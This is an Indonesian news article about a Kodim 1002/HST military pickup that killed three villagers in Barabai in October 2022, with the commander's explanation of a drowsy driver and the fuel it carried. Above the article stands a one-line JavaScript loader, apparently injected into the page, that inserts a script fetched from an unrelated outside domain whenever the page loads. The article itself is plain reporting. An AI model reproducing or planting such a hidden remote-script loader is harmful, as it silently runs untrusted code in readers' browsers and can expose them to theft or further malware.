(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kecelakaan Mobil TNI Korban 3 Warga Meninggal di Barabai, Dandim 1002: Sopir Ngantuk, Mau Ambil BBM Kegiatan Karya Bhakti

KANALKALIMANTAN.COM, BARABAI – Insiden maut yang menewaskan tiga warga Desa Binjai Pirua, Kecamatan Labuan Amas Utara, Kabupaten Hulu Sungai Tengah (HST), Selasa (11/10/2022) pagi, dipastikan kecelakaan lalu lintas tunggal melibatkan mobil dinas Kodim 1002/HST.

Mobil jenis pikap warna army itu menyeruduk sebuah kios sekitar pukul 07.00 Wita.

Dandim 1002/HST Letkol Kav Gagang Prawardhana melalui press rilis, menjelaskan, kejadian laka lantas tunggal bermula ketika mobil dinas Kodim 1002/HST jenis Dmax bernomor 3374-VI yang dikemudikan Arif melaju dari arah Pantai Hambawang menuju Sungai Buluh dengan kecepatan sedang, tiba-tiba oleng akibat sopir mengantuk.

“Karena kondisi mengantuk Arif menabrak orang yang sedang berdiri di pinggir jalan mengakibatkan 3 orang meninggal, yaitu Hj Rusnah 60 tahun, M Hefni Afdilah umur 13 tahun dan bayi Karimah Zahra 4 bulan,” sebut Dandim 1002/HST.

Selain menyebabkan 3 orang meninggal dunia, mobil dinas Kodim menabrak poskamling sehingga atapnya rusak.

Terkait laka lantas tunggal tersebut langsung ditangani oleh Sub Denpom Kandangan.

Mengenai muatan jerigen Bahan Bakar Minyak (BBM) yang ada di dalam bak mobil, Dandim 1002 menyebut BBM tersebut mau diambil untuk kebutuhan kegiatan Karya Bhakti TNI. Yaitu untuk pembukaan jalan sepanjang 3,5 kilometer di Desa Wawai, Kecamatan Batang Alai Selatan, HST. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : kk